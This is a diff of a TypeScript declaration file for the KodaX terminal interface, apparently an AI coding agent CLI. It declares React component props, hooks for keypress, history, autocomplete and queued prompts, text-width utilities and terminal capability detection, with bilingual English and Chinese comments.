+ declare const PendingInputsIndicator: React$1.FC<PendingInputsIndicatorProps>;
1490
+
1491
+ interface FullscreenTranscriptChromeSlot {
1492
+ visible?: boolean;
1493
+ label?: string;
1494
+ hint?: string;
1495
+ onTrigger?: () => void;
1496
+ tone?: "dim" | "accent";
1497
+ }
1498
+ interface FullscreenTranscriptLayoutProps {
1499
+ top?: React$1.ReactNode;
1500
+ topRows?: number;
1501
+ transcript?: React$1.ReactNode;
1502
+ renderTranscriptWindow?: (window: ScrollBoxWindow) => React$1.ReactNode;
1503
+ footer: React$1.ReactNode;
1504
+ overlay?: React$1.ReactNode;
1505
+ stickyHeader?: FullscreenTranscriptChromeSlot;
1506
+ jumpToLatest?: FullscreenTranscriptChromeSlot;
1507
+ width?: number;
1508
+ scrollTop?: number;
1509
+ scrollHeight?: number;
1510
+ viewportHeight?: number;
1511
+ stickyScroll?: boolean;
1512
+ scrollRef?: React$1.Ref<ScrollBoxHandle>;
1513
+ onScrollTopChange?: (nextScrollTop: number) => void;
1514
+ onStickyChange?: (sticky: boolean) => void;
1515
+ onWindowChange?: (window: ScrollBoxWindow) => void;
1516
+ }
1517
+ declare const FullscreenTranscriptLayout: React$1.FC<FullscreenTranscriptLayoutProps>;
1518
+
1519
+ interface TranscriptViewportBrowseState {
1520
+ hintText?: string;
1521
+ }
1522
+ interface TranscriptViewportSelectionState {
1523
+ itemSummary?: string;
1524
+ itemKind?: string;
1525
+ position?: {
1526
+ current: number;
1527
+ total: number;
1528
+ };
1529
+ detailState?: "compact" | "expanded";
1530
+ copyCapabilities?: {
1531
+ message?: boolean;
1532
+ toolInput?: boolean;
1533
+ copyOnSelect?: boolean;
1534
+ };
1535
+ toggleDetail?: boolean;
1536
+ navigationCapabilities?: {
1537
+ selection?: boolean;
1538
+ };
1539
+ }
1540
+ interface TranscriptViewportSearchState {
1541
+ query?: string;
1542
+ matches?: Array<{
1543
+ itemId: string;
1544
+ excerpt: string;
1545
+ }>;
1546
+ currentMatchIndex?: number;
1547
+ anchorItemId?: string;
1548
+ statusText?: string;
1549
+ surface?: React$1.ReactNode;
1550
+ onNext?: () => void;
1551
+ onPrev?: () => void;
1552
+ }
1553
+ interface TranscriptViewportProps extends MessageListProps {
1554
+ browse?: TranscriptViewportBrowseState;
1555
+ selection?: TranscriptViewportSelectionState;
1556
+ search?: TranscriptViewportSearchState;
1557
+ chromeMode?: "inline" | "hidden";
1558
+ }
1559
+ declare const TranscriptViewport: React$1.FC<TranscriptViewportProps>;
1560
+
1561
+ interface PromptComposerProps extends InputPromptAutocompleteProps {
1562
+ }
1563
+ declare const PromptComposer: React$1.FC<PromptComposerProps>;
1564
+
1565
+ interface PromptFooterSurfaceItem {
1566
+ id: string;
1567
+ label: string;
1568
+ accent?: boolean;
1569
+ }
1570
+ interface PromptFooterLeftSideProps {
1571
+ items?: readonly PromptFooterSurfaceItem[];
1572
+ }
1573
+ declare const PromptFooterLeftSide: React$1.FC<PromptFooterLeftSideProps>;
1574
+ interface PromptFooterRightSideProps {
1575
+ items?: readonly PromptFooterSurfaceItem[];
1576
+ }
1577
+ declare const PromptFooterRightSide: React$1.FC<PromptFooterRightSideProps>;
1578
+ interface PromptFooterProps {
1579
+ left?: React$1.ReactNode;
1580
+ right?: React$1.ReactNode;
1581
+ queued?: React$1.ReactNode;
1582
+ stashNotice?: React$1.ReactNode;
1583
+ notifications?: React$1.ReactNode;
1584
+ inlineNotices?: React$1.ReactNode;
1585
+ activityBar?: React$1.ReactNode;
1586
+ /**
1587
+ * FEATURE_097 (v0.7.34) — todo list slot. Mounted between the
1588
+ * activity bar (spinner) and the composer so the Scout-seeded plan
1589
+ * list sits directly under the spinner, above the user prompt and
1590
+ * the BackgroundTaskBar. Layout reference: docs/features/v0.7.34.md
1591
+ * §"挂载点".
1592
+ */
1593
+ todoSurface?: React$1.ReactNode;
1594
+ composer: React$1.ReactNode;
1595
+ inlineSuggestions?: React$1.ReactNode;
1596
+ helpSurface?: React$1.ReactNode;
1597
+ taskBar?: React$1.ReactNode;
1598
+ statusLine?: React$1.ReactNode;
1599
+ inlineDialogs?: React$1.ReactNode;
1600
+ }
1601
+ declare const PromptFooter: React$1.FC<PromptFooterProps>;
1602
+
1603
+ interface HelpMenuItem {
1604
+ id: string;
1605
+ label: string;
1606
+ }
1607
+ interface HelpMenuSection {
1608
+ id: string;
1609
+ title: string;
1610
+ items: HelpMenuItem[];
1611
+ }
1612
+
1613
+ interface PromptHelpMenuProps {
1614
+ sections: HelpMenuSection[];
1615
+ title?: string;
1616
+ }
1617
+ declare const PromptHelpMenu: React$1.FC<PromptHelpMenuProps>;
1618
+
1619
+ interface PromptSuggestionsSurfaceProps {
1620
+ reserveSpace: boolean;
1621
+ width: number;
1622
+ hidden?: boolean;
1623
+ mode?: "inline" | "overlay";
1624
+ }
1625
+ declare const PromptSuggestionsSurface: React$1.FC<PromptSuggestionsSurfaceProps>;
1626
+
1627
+ interface DialogSelectOption {
1628
+ value: string;
1629
+ label: string;
1630
+ description?: string;
1631
+ }
1632
+ interface DialogSurfaceConfirmState {
1633
+ prompt: string;
1634
+ instruction?: string;
1635
+ /**
1636
+ * FEATURE_075: full plan content rendered in a scrollable panel for
1637
+ * `exit_plan_mode` approval. Arrow keys and PgUp/PgDn scroll the plan
1638
+ * inside the dialog while the approval buttons stay pinned.
1639
+ */
1640
+ planContent?: string;
1641
+ }
1642
+ interface DialogSurfaceUIRequestState {
1643
+ kind: "select" | "input";
1644
+ title?: string;
1645
+ prompt?: string;
1646
+ options?: DialogSelectOption[];
1647
+ defaultValue?: string;
1648
+ buffer: string;
1649
+ error?: string;
1650
+ visibleSelectOptions?: number;
1651
+ /** Index of the currently focused option (arrow-key navigation). */
1652
+ focusedIndex?: number;
1653
+ /** Indices of selected options (multiSelect mode). */
1654
+ selectedIndices?: number[];
1655
+ /** Whether this is a multi-select dialog. */
1656
+ multiSelect?: boolean;
1657
+ }
1658
+ interface DialogSurfaceProps {
1659
+ confirm?: DialogSurfaceConfirmState | null;
1660
+ request?: DialogSurfaceUIRequestState | null;
1661
+ }
1662
+ declare const DialogSurface: React$1.FC<DialogSurfaceProps>;
1663
+
1664
+ interface BackgroundTaskBarItem {
1665
+ id: string;
1666
+ label: string;
1667
+ accent?: boolean;
1668
+ selected?: boolean;
1669
+ hint?: string;
1670
+ }
1671
+ interface BackgroundTaskBarProps {
1672
+ items: readonly BackgroundTaskBarItem[];
1673
+ overflowLabel?: string;
1674
+ ctaHint?: string;
1675
+ showSpinner?: boolean;
1676
+ }
1677
+ declare const BackgroundTaskBar: React$1.FC<BackgroundTaskBarProps>;
1678
+
1679
+ interface QueuedCommandsSurfaceProps {
1680
+ pendingInputs: readonly string[];
1681
+ }
1682
+ declare const QueuedCommandsSurface: React$1.FC<QueuedCommandsSurfaceProps>;
1683
+
1684
+ interface StatusNoticesSurfaceProps {
1685
+ notices: readonly string[];
1686
+ }
1687
+ declare const StatusNoticesSurface: React$1.FC<StatusNoticesSurfaceProps>;
1688
+
1689
+ interface NotificationSurfaceItem {
1690
+ id: string;
1691
+ text: string;
1692
+ tone?: "info" | "warning" | "accent";
1693
+ }
1694
+ interface NotificationsSurfaceProps {
1695
+ notifications: readonly NotificationSurfaceItem[];
1696
+ }
1697
+ declare const NotificationsSurface: React$1.FC<NotificationsSurfaceProps>;
1698
+
1699
+ interface StashNoticeProps {
1700
+ text?: string;
1701
+ }
1702
+ declare const StashNotice: React$1.FC<StashNoticeProps>;
1703
+
1704
+ interface MessageSelectorProps {
1705
+ itemSummary?: string;
1706
+ itemKind?: string;
1707
+ position?: {
1708
+ current: number;
1709
+ total: number;
1710
+ };
1711
+ detailState?: "compact" | "expanded";
1712
+ }
1713
+ declare const MessageSelector: React$1.FC<MessageSelectorProps>;
1714
+
1715
+ interface MessageActionsProps {
1716
+ copyMessage?: boolean;
1717
+ copyToolInput?: boolean;
1718
+ copyOnSelect?: boolean;
1719
+ toggleDetail?: boolean;
1720
+ selectionNavigation?: boolean;
1721
+ matchNavigation?: boolean;
1722
+ dismissAction?: "clear" | "close-search";
1723
+ }
1724
+ declare const MessageActions: React$1.FC<MessageActionsProps>;
1725
+
1726
+ /**
1727
+ * useTextBuffer - TextBuffer React Hook
1728
+ *
1729
+ * Integrates TextBuffer class with React state management - 将 TextBuffer 类与 React 状态管理集成
1730
+ */
1731
+
1732
+ interface UseTextBufferOptions {
1733
+ initialValue?: string;
1734
+ onTextChange?: (text: string) => void;
1735
+ }
1736
+ declare function useTextBuffer(options?: UseTextBufferOptions): UseTextBufferReturn;
1737
+
1738
+ /**
1739
+ * useKeypress - Keyboard event handling Hook
1740
+ *
1741
+ * Wraps KodaX's KeypressContext so UI keyboard handling stays on the local
1742
+ * input pipeline instead of depending on Ink's useInput.
1743
+ */
1744
+
1745
+ interface UseKeypressOptions {
1746
+ onKey?: (key: KeyInfo) => boolean;
1747
+ onEsc?: () => void;
1748
+ onCtrlC?: () => void;
1749
+ enabled?: boolean;
1750
+ }
1751
+ declare function useKeypress(options?: UseKeypressOptions): {
1752
+ lastEscTime: number;
1753
+ };
1754
+ declare function createKeyMatcher(key: KeyInfo): {
1755
+ is: (name: string, modifiers?: {
1756
+ ctrl?: boolean;
1757
+ shift?: boolean;
1758
+ meta?: boolean;
1759
+ }) => boolean;
1760
+ isCtrl: (name: string) => boolean;
1761
+ isShift: (name: string) => boolean;
1762
+ isArrow: () => boolean;
1763
+ isChar: () => boolean;
1764
+ getChar: () => string | null;
1765
+ };
1766
+
1767
+ /**
1768
+ * useInputHistory - Input history management Hook - 输入历史管理 Hook
1769
+ *
1770
+ * Manages command history, supports up/down arrow navigation.
1771
+ *
1772
+ * Module-scoped history store: the entries array lives at module scope so it
1773
+ * survives PromptComposer unmount+remount (triggered e.g. by Ctrl+O transcript
1774
+ * toggle in InkREPL). historyIndex / tempInput remain component-scoped so the
1775
+ * nav cursor resets on remount, matching pre-existing user-visible behavior.
1776
+ *
1777
+ * Design: docs/features/v0.7.21.md FEATURE_077.
1778
+ *
1779
+ * Issue 121 extension: each entry may carry a `pastedContents` snapshot so
1780
+ * recalled prompts containing `[Pasted text #N]` placeholders still expand
1781
+ * to their original content when resubmitted. The module-scoped store keeps
1782
+ * pasted content references alive across composer remounts within a session.
1783
+ */
1784
+
1785
+ interface AddHistoryOptions {
1786
+ pastedContents?: PastedContent[];
1787
+ }
1788
+ interface UseInputHistoryOptions {
1789
+ maxSize?: number;
1790
+ onSave?: (entry: HistoryEntry) => void;
1791
+ }
1792
+ interface UseInputHistoryReturn {
1793
+ add: (text: string, options?: AddHistoryOptions) => void;
1794
+ navigateUp: () => HistoryEntry | null;
1795
+ navigateDown: () => HistoryEntry | null;
1796
+ reset: () => void;
1797
+ saveTempInput: (text: string) => void;
1798
+ }
1799
+ declare function useInputHistory(options?: UseInputHistoryOptions): UseInputHistoryReturn;
1800
+
1801
+ /**
1802
+ * KodaX Autocomplete Module - 自动补全模块
1803
+ *
1804
+ * Provides Tab completion for file paths and commands
1805
+ * 提供文件路径和命令的 Tab 补全功能
1806
+ */
1807
+ /**
1808
+ * Completion item - 补全项
1809
+ */
1810
+ interface Completion {
1811
+ text: string;
1812
+ display: string;
1813
+ description?: string;
1814
+ type: 'file' | 'command' | 'argument' | 'skill';
1815
+ /** Match score (internal use) - 匹配评分(内部使用) */
1816
+ score?: number;
1817
+ }
1818
+
1819
+ /**
1820
+ * Autocomplete Provider - 自动补全提供者
1821
+ *
1822
+ * Combines all completers with fuzzy matching and debouncing.
1823
+ * 组合所有补全器,提供模糊匹配和防抖功能。
1824
+ *
1825
+ * Features:
1826
+ * - Auto-trigger on typing (debounced) - 输入时自动触发(防抖)
1827
+ * - Fuzzy matching with scoring - 带评分的模糊匹配
1828
+ * - Combined results from multiple completers - 多个补全器的组合结果
1829
+ * - Keyboard navigation support - 键盘导航支持
1830
+ */
1831
+
1832
+ /**
1833
+ * Autocomplete state for UI binding
1834
+ * 用于 UI 绑定的自动补全状态
1835
+ */
1836
+ interface AutocompleteState {
1837
+ /** Whether dropdown is visible - 下拉框是否可见 */
1838
+ visible: boolean;
1839
+ /** Current selected index - 当前选中索引 */
1840
+ selectedIndex: number;
1841
+ /** Current completions - 当前补全列表 */
1842
+ completions: Completion[];
1843
+ /** Whether completions are loading - 补全是否正在加载 */
1844
+ loading: boolean;
1845
+ }
1846
+ /**
1847
+ * Options for AutocompleteProvider
1848
+ * AutocompleteProvider 的配置选项
1849
+ */
1850
+ interface AutocompleteProviderOptions {
1851
+ /** Working directory for file completion - 文件补全的工作目录 */
1852
+ cwd?: string;
1853
+ /** Git root for skill discovery - 技能发现的 Git 根目录 */
1854
+ gitRoot?: string;
1855
+ /** Debounce delay in ms (default: 100) - 防抖延迟(默认:100ms) */
1856
+ debounceDelay?: number;
1857
+ /** Minimum characters to trigger (default: 1) - 触发的最小字符数(默认:1) */
1858
+ minTriggerChars?: number;
1859
+ /** Maximum completions to show (default: 10) - 最大显示补全数(默认:10) */
1860
+ maxCompletions?: number;
1861
+ /** Minimum score threshold for fuzzy match (default: 0) - 模糊匹配的最低评分阈值(默认:0) */
1862
+ minScore?: number;
1863
+ }
1864
+ /**
1865
+ * Internal options type with required defaults
1866
+ * 内部选项类型,包含必需的默认值
1867
+ */
1868
+ type InternalOptions = Required<Omit<AutocompleteProviderOptions, 'cwd' | 'gitRoot'>> & Pick<AutocompleteProviderOptions, 'cwd' | 'gitRoot'>;
1869
+ /**
1870
+ * Autocomplete Provider - Main orchestrator for autocomplete
1871
+ * 自动补全提供者 - 自动补全的主要协调器
1872
+ */
1873
+ declare class AutocompleteProvider {
1874
+ private completers;
1875
+ private options;
1876
+ private state;
1877
+ private listeners;
1878
+ private debounceTimer;
1879
+ private lastInput;
1880
+ private lastCursorPos;
1881
+ constructor(options?: AutocompleteProviderOptions);
1882
+ /**
1883
+ * Get current options
1884
+ * 获取当前选项
1885
+ */
1886
+ getOptions(): InternalOptions;
1887
+ /**
1888
+ * Get current state
1889
+ * 获取当前状态
1890
+ */
1891
+ getState(): AutocompleteState;
1892
+ /**
1893
+ * Subscribe to state changes
1894
+ * 订阅状态变化
1895
+ */
1896
+ subscribe(listener: (state: AutocompleteState) => void): () => void;
1897
+ /**
1898
+ * Update options (e.g., when changing directories)
1899
+ * 更新选项(如切换目录时)
1900
+ */
1901
+ updateOptions(options: Partial<AutocompleteProviderOptions>): void;
1902
+ /**
1903
+ * Handle input change (auto-trigger with debounce)
1904
+ * 处理输入变化(带防抖的自动触发)
1905
+ */
1906
+ handleInput(input: string, cursorPos: number): void;
1907
+ /**
1908
+ * Immediately fetch completions (for Tab key)
1909
+ * 立即获取补全(用于 Tab 键)
1910
+ */
1911
+ fetchImmediate(input: string, cursorPos: number): Promise<Completion[]>;
1912
+ /**
1913
+ * Move selection up
1914
+ * 向上移动选择
1915
+ */
1916
+ selectPrevious(): void;
1917
+ /**
1918
+ * Move selection down
1919
+ * 向下移动选择
1920
+ */
1921
+ selectNext(): void;
1922
+ /**
1923
+ * Get currently selected completion
1924
+ * 获取当前选中的补全
1925
+ */
1926
+ getSelectedCompletion(): Completion | null;
1927
+ /**
1928
+ * Accept selected completion (returns replacement text)
1929
+ * 接受选中的补全(返回替换文本)
1930
+ */
1931
+ acceptCompletion(): string | null;
1932
+ /**
1933
+ * Accept selected completion with type info (for smart replacement)
1934
+ * 接受选中的补全并返回类型信息(用于智能替换)
1935
+ */
1936
+ acceptCompletionWithType(): {
1937
+ text: string;
1938
+ type: Completion['type'];
1939
+ } | null;
1940
+ /**
1941
+ * Cancel/hide autocomplete
1942
+ * 取消/隐藏自动补全
1943
+ */
1944
+ cancel(): void;
1945
+ /**
1946
+ * Check if autocomplete should trigger
1947
+ * 检查自动补全是否应该触发
1948
+ */
1949
+ private shouldTrigger;
1950
+ /**
1951
+ * Fetch completions (debounced handler)
1952
+ * 获取补全(防抖处理器)
1953
+ */
1954
+ private fetchCompletions;
1955
+ /**
1956
+ * Internal completion fetching logic
1957
+ * 内部补全获取逻辑
1958
+ */
1959
+ private fetchCompletionsInternal;
1960
+ /**
1961
+ * Extract search pattern from input
1962
+ * 从输入中提取搜索模式
1963
+ */
1964
+ private extractPattern;
1965
+ /**
1966
+ * Update state and notify listeners
1967
+ * 更新状态并通知监听器
1968
+ */
1969
+ private updateState;
1970
+ }
1971
+
1972
+ /**
1973
+ * useAutocomplete - Autocomplete integration hook - 自动补全集成 Hook
1974
+ *
1975
+ * Provides autocomplete state management and keyboard handling for input components.
1976
+ * 为输入组件提供自动补全状态管理和键盘处理。
13
1977
  *
14
1978
  * Usage:
15
- * ```ts
16
- * import { loadConfig, FileSessionStorage } from '@kodax-ai/kodax/repl';
1979
+ * 1. Call useAutocomplete with text/cursor state
1980
+ * 2. Render autocompleteSuggestions below input
1981
+ * 3. Handle Tab/Enter for selection in keypress handler
1982
+ */
1983
+
1984
+ /**
1985
+ * Context value type (extends UseAutocompleteReturn)
1986
+ * 上下文值类型(扩展 UseAutocompleteReturn)
1987
+ */
1988
+ interface AutocompleteContextValue extends UseAutocompleteReturn {
1989
+ }
1990
+ /**
1991
+ * AutocompleteContextProvider - provides autocomplete state to children
1992
+ * AutocompleteContextProvider - 为子组件提供自动补全状态
1993
+ *
1994
+ * Usage: Wrap your app or component tree with this provider
1995
+ * 用法: 用此 provider 包装你的应用或组件树
1996
+ */
1997
+ declare function AutocompleteContextProvider({ children, cwd, gitRoot, }: {
1998
+ children: ReactNode;
1999
+ cwd?: string;
2000
+ gitRoot?: string;
2001
+ }): React.ReactElement;
2002
+ /**
2003
+ * useAutocompleteContext - access autocomplete context from parent component
2004
+ * useAutocompleteContext - 从父组件访问自动补全上下文
2005
+ *
2006
+ * Use this in InkREPL to render SuggestionsDisplay outside InputPrompt
2007
+ * 在 InkREPL 中使用此 hook 在 InputPrompt 外部渲染 SuggestionsDisplay
2008
+ */
2009
+ declare function useAutocompleteContext(): AutocompleteContextValue | null;
2010
+ /**
2011
+ * Options for useAutocomplete hook
2012
+ * useAutocomplete hook 的选项
2013
+ */
2014
+ interface UseAutocompleteOptions {
2015
+ /** Working directory for file completion - 文件补全的工作目录 */
2016
+ cwd?: string;
2017
+ /** Git root for skill discovery - 技能发现的 Git 根目录 */
2018
+ gitRoot?: string;
2019
+ /** Whether autocomplete is enabled - 是否启用自动补全 */
2020
+ enabled?: boolean;
2021
+ }
2022
+ /**
2023
+ * Selected completion with type info for replacement logic
2024
+ * 带类型信息的选中补全,用于替换逻辑
2025
+ */
2026
+ interface SelectedCompletion {
2027
+ /** Replacement text - 替换文本 */
2028
+ text: string;
2029
+ /** Completion type - 补全类型 */
2030
+ type: 'command' | 'argument' | 'file' | 'skill';
2031
+ }
2032
+ /**
2033
+ * Return type for useAutocomplete hook
2034
+ * useAutocomplete hook 的返回类型
2035
+ */
2036
+ interface UseAutocompleteReturn {
2037
+ /** Current autocomplete state - 当前自动补全状态 */
2038
+ state: AutocompleteState;
2039
+ /** Suggestions for display (converted to Suggestion format) - 用于显示的建议(转换为 Suggestion 格式) */
2040
+ suggestions: Suggestion[];
2041
+ /** Handle input change - 处理输入变化 */
2042
+ handleInput: (text: string, cursorPos: number) => void;
2043
+ /** Handle Tab key - returns selected completion or null - 处理 Tab 键 - 返回选中的补全或 null */
2044
+ handleTab: () => SelectedCompletion | null;
2045
+ /** Handle Enter key when dropdown visible - returns selected completion or null - 处理下拉框可见时的 Enter 键 - 返回选中的补全或 null */
2046
+ handleEnter: () => SelectedCompletion | null;
2047
+ /** Handle up arrow - 处理上箭头 */
2048
+ handleUp: () => void;
2049
+ /** Handle down arrow - 处理下箭头 */
2050
+ handleDown: () => void;
2051
+ /** Handle Escape key - 处理 Escape 键 */
2052
+ handleEscape: () => void;
2053
+ /** Cancel autocomplete - 取消自动补全 */
2054
+ cancel: () => void;
2055
+ /** Get provider instance (for advanced usage) - 获取提供者实例(高级用法) */
2056
+ getProvider: () => AutocompleteProvider;
2057
+ }
2058
+ /**
2059
+ * useAutocomplete hook
2060
+ *
2061
+ * Integrates autocomplete provider with React component state.
2062
+ * 将自动补全提供者与 React 组件状态集成。
2063
+ *
2064
+ * If called without options and within AutocompleteContextProvider, uses context.
2065
+ * Otherwise creates a new provider instance.
2066
+ * 如果不带选项调用且在 AutocompleteContextProvider 内,使用 context。
2067
+ * 否则创建新的 provider 实例。
2068
+ */
2069
+ declare function useAutocomplete(options?: UseAutocompleteOptions): UseAutocompleteReturn;
2070
+
2071
+ /**
2072
+ * FEATURE_159 (v0.7.40) — `useQueuedPrompts` hook.
2073
+ *
2074
+ * Subscribes a React component to the agent-side MessageQueue and
2075
+ * returns the filtered slice of main-thread user-priority prompts —
2076
+ * the same slice REPL renders as "Queue N" / "Queued follow-ups: N".
2077
+ *
2078
+ * Implementation contract:
2079
+ * - Single source of truth = `MessageQueue`. The hook does not mirror
2080
+ * state into React — it subscribes and returns the queue's frozen
2081
+ * snapshot (filtered).
2082
+ * - `useSyncExternalStore` handles consistency across concurrent
2083
+ * React renders. The hook obeys React 18's tearing-prevention
2084
+ * guarantees because `getSnapshot()` returns a reference-stable
2085
+ * frozen array.
2086
+ * - The filter excludes subagent-scoped messages (`agentId !== undefined`)
2087
+ * and background-priority entries (task-notifications). Adding new
2088
+ * surfaces (e.g. queued bash commands when KodaX gains a bash-mode
2089
+ * escape) means adding a separate hook with a different filter, not
2090
+ * overloading this one.
2091
+ *
2092
+ * Why a separate hook instead of just reading `streamingState.pendingInputs`:
2093
+ * - `streamingState.pendingInputs` is a derived mirror maintained by
2094
+ * `StreamingContext`'s queue subscription. New components / non-Ink
2095
+ * consumers (SDK callers wrapped in React) can use this hook
2096
+ * directly without taking a dependency on StreamingContext.
2097
+ * - Per-call filter is fast (queue size ≤ MAX_PENDING_INPUTS = 5 for
2098
+ * prompts in practice); useMemo / re-filter is acceptable.
2099
+ */
2100
+
2101
+ /**
2102
+ * Subscribe to main-thread user-priority prompt slice of the
2103
+ * MessageQueue. Returns a stable snapshot — safe to use as a `useEffect`
2104
+ * dep or pass to a memoized child.
2105
+ */
2106
+ declare function useQueuedPrompts(): readonly QueuedMessage[];
2107
+ /**
2108
+ * Variant returning just the content strings — convenience for the
2109
+ * common case where the consumer doesn't care about ids / timestamps.
2110
+ */
2111
+ declare function useQueuedPromptContents(): readonly string[];
2112
+ /**
2113
+ * Test-only reset hook for the module-level filtered-snapshot cache.
2114
+ * Production code must not call this. Used by tests that reset the
2115
+ * process-global MessageQueue singleton between cases.
2116
+ */
2117
+ declare function _resetQueuedPromptsCacheForTests(): void;
2118
+
2119
+ /**
2120
+ * Text Utilities - LRU Cache + Code Point Utilities - 文本工具:LRU 缓存 + Code Point 工具
2121
+ *
2122
+ * Provides text processing utilities including: - 提供文本处理相关的工具函数,包括:
2123
+ * - LRU cache for caching computation results - LRU 缓存用于缓存计算结果
2124
+ * - Unicode code point processing functions - Unicode code point 处理函数
2125
+ * - Visual width calculation - 视觉宽度计算
2126
+ */
2127
+ /**
2128
+ * LRU (Least Recently Used) Cache - 最近最少使用缓存
2129
+ * Used to cache text processing results and avoid repeated computation - 用于缓存文本处理结果,避免重复计算
2130
+ */
2131
+ declare class LRUCache<K, V> {
2132
+ private capacity;
2133
+ private cache;
2134
+ constructor(capacity: number);
2135
+ /**
2136
+ * Get cached value and update LRU order - 获取缓存值,并更新 LRU 顺序
2137
+ */
2138
+ get(key: K): V | undefined;
2139
+ /**
2140
+ * Set cached value - 设置缓存值
2141
+ */
2142
+ set(key: K, value: V): void;
2143
+ /**
2144
+ * Check if key exists - 检查 key 是否存在
2145
+ */
2146
+ has(key: K): boolean;
2147
+ /**
2148
+ * Delete key - 删除 key
2149
+ */
2150
+ delete(key: K): boolean;
2151
+ /**
2152
+ * Clear cache - 清空缓存
2153
+ */
2154
+ clear(): void;
2155
+ /**
2156
+ * Get current size - 获取当前大小
2157
+ */
2158
+ get size(): number;
2159
+ }
2160
+ /**
2161
+ * Get code point length of a string - 获取字符串的 code point 长度
2162
+ * Properly handles emoji and other multi-byte characters - 正确处理 emoji 和其他多字节字符
2163
+ */
2164
+ declare function getCodePointLength(str: string): number;
2165
+ /**
2166
+ * Check if a character is a wide character (CJK or emoji) - 判断字符是否为宽字符(CJK 或 emoji)
2167
+ */
2168
+ declare function isWideChar(char: string): boolean;
2169
+ /**
2170
+ * Get visual width of a string - 获取字符串的视觉宽度
2171
+ * ASCII = 1, CJK/emoji = 2 - ASCII = 1, CJK/emoji = 2
2172
+ */
2173
+ declare function getVisualWidth(str: string): number;
2174
+ /**
2175
+ * Get character at specified code point position (grapheme cluster) - 获取指定 code point 位置的字符(grapheme cluster)
2176
+ */
2177
+ declare function getCharAtCodePoint(str: string, index: number): string;
2178
+ /**
2179
+ * Split string by code points - 按 code point 分割字符串
2180
+ */
2181
+ declare function splitByCodePoints(str: string): string[];
2182
+ /**
2183
+ * Truncate string by visual width - 按视觉宽度截断字符串
2184
+ */
2185
+ declare function truncateByVisualWidth(str: string, maxWidth: number, addEllipsis?: boolean): string;
2186
+ /**
2187
+ * Visual width calculation cache - 视觉宽度计算缓存
2188
+ */
2189
+ declare const visualWidthCache: LRUCache<string, number>;
2190
+ /**
2191
+ * Cached version of visual width calculation - 缓存版本的视觉宽度计算
2192
+ */
2193
+ declare function getVisualWidthCached(str: string): number;
2194
+ /**
2195
+ * Visual layout interface - 视觉布局接口
2196
+ * Reference: Gemini CLI text-buffer.ts - VisualLayout
2197
+ */
2198
+ interface VisualLayout {
2199
+ /** All visual lines for rendering - 所有视觉行(用于渲染) */
2200
+ visualLines: string[];
2201
+ /** For each logical line: [[visualLineIndex, startColInLogical], ...] - 每个逻辑行 -> 视觉行索引 + 起始列的映射 */
2202
+ logicalToVisualMap: Array<Array<[number, number]>>;
2203
+ /** For each visual line: [logicalLineIndex, startColInLogical] - 每个视觉行 -> 逻辑行 + 起始列的映射 */
2204
+ visualToLogicalMap: Array<[number, number]>;
2205
+ }
2206
+ /**
2207
+ * Calculate visual line wrapping - 计算视觉行换行
2208
+ * Reference: Gemini CLI text-buffer.ts - calculateLayout
2209
+ *
2210
+ * @param logicalLines - Array of logical lines (split by \n) - 逻辑行数组(按 \n 分割)
2211
+ * @param viewportWidth - Terminal width for wrapping - 终端宽度(用于换行)
2212
+ * @param cursorRow - Current logical cursor row - 当前逻辑光标行
2213
+ * @param cursorCol - Current logical cursor column - 当前逻辑光标列
2214
+ * @returns VisualLayout with visual lines and coordinate mappings - 视觉布局,包含视觉行和坐标映射
2215
+ */
2216
+ declare function calculateVisualLayout(logicalLines: string[], viewportWidth: number, cursorRow: number, cursorCol: number): VisualLayout;
2217
+ /**
2218
+ * Calculate visual cursor position from layout - 从布局计算视觉光标位置
2219
+ * Reference: Gemini CLI text-buffer.ts - calculateVisualCursorFromLayout
2220
+ *
2221
+ * @param layout - Visual layout to use for calculation - 用于计算的视觉布局
2222
+ * @param logicalCursor - [logicalRow, logicalCol] - 逻辑光标 [行, 列]
2223
+ * @returns [visualRow, visualCol] - Visual cursor [行, 列]
2224
+ */
2225
+ declare function calculateVisualCursorFromLayout(layout: VisualLayout, logicalCursor: [number, number]): [number, number];
2226
+
2227
+ interface TerminalCapabilities {
2228
+ trueColor: boolean;
2229
+ colors256: boolean;
2230
+ unicode: boolean;
2231
+ emoji: boolean;
2232
+ tty: boolean;
2233
+ columns: number;
2234
+ screenReader: boolean;
2235
+ }
2236
+ declare function supportsTrueColor(): boolean;
2237
+ declare function supports256Colors(): boolean;
2238
+ declare function supportsUnicode(): boolean;
2239
+ declare function supportsEmoji(): boolean;
2240
+ declare function getTerminalWidth(): number;
2241
+ declare function isScreenReader(): boolean;
2242
+ declare function detectTerminalCapabilities(): TerminalCapabilities;
2243
+
2244
+ type TerminalRenderHost = "native_vt" | "xtermjs_host" | "degraded_vt" | "remote_conpty_host" | "unsupported_control_host" | "tmux_control_mode";
2245
+ type TerminalHostProfile = TerminalRenderHost;
2246
+ type TuiRendererMode = "auto" | "legacy" | "owned";
2247
+ type EffectiveTuiRendererMode = Exclude<TuiRendererMode, "auto">;
2248
+ type InteractiveSurfacePreference = "ink" | "classic";
2249
+ interface TerminalHostDetectionOptions {
2250
+ env?: NodeJS.ProcessEnv;
2251
+ platform?: NodeJS.Platform;
2252
+ isTTY?: boolean;
2253
+ rawModeSupported?: boolean;
2254
+ tmuxControlMode?: boolean;
2255
+ }
2256
+ interface TerminalHostCapabilities {
2257
+ profile: TerminalRenderHost;
2258
+ ownsViewportByDefault: boolean;
2259
+ supportsMouseTracking: boolean;
2260
+ bufferingMode: "live" | "buffered-fallback";
2261
+ supportsFullscreenLayout: boolean;
2262
+ supportsOverlaySurface: boolean;
2263
+ supportsSelection: boolean;
2264
+ supportsCopyOnSelect: boolean;
2265
+ supportsWheelHistory: boolean;
2266
+ supportsViewportChrome: boolean;
2267
+ supportsSearchViewport: boolean;
2268
+ supportsStickyPrompt: boolean;
2269
+ }
2270
+ interface FullscreenPolicy {
2271
+ enabled: boolean;
2272
+ promptShell: "virtual" | "main-screen";
2273
+ transcriptShell: "virtual" | "main-screen";
2274
+ mouseWheel: boolean;
2275
+ mouseClicks: boolean;
2276
+ streamingPreview: boolean;
2277
+ transcriptSpinnerAnimation: boolean;
2278
+ }
2279
+ declare function isVsCodeTerminalHostEnv(env?: NodeJS.ProcessEnv): boolean;
2280
+ declare function hasCursorUpViewportYankRisk(options?: Pick<TerminalHostDetectionOptions, "env" | "platform">): boolean;
2281
+ declare function isRemoteConptyHost(options?: Pick<TerminalHostDetectionOptions, "env" | "platform">): boolean;
2282
+ declare function hasMainScreenRenderScrollRisk(options?: Pick<TerminalHostDetectionOptions, "env" | "platform">): boolean;
2283
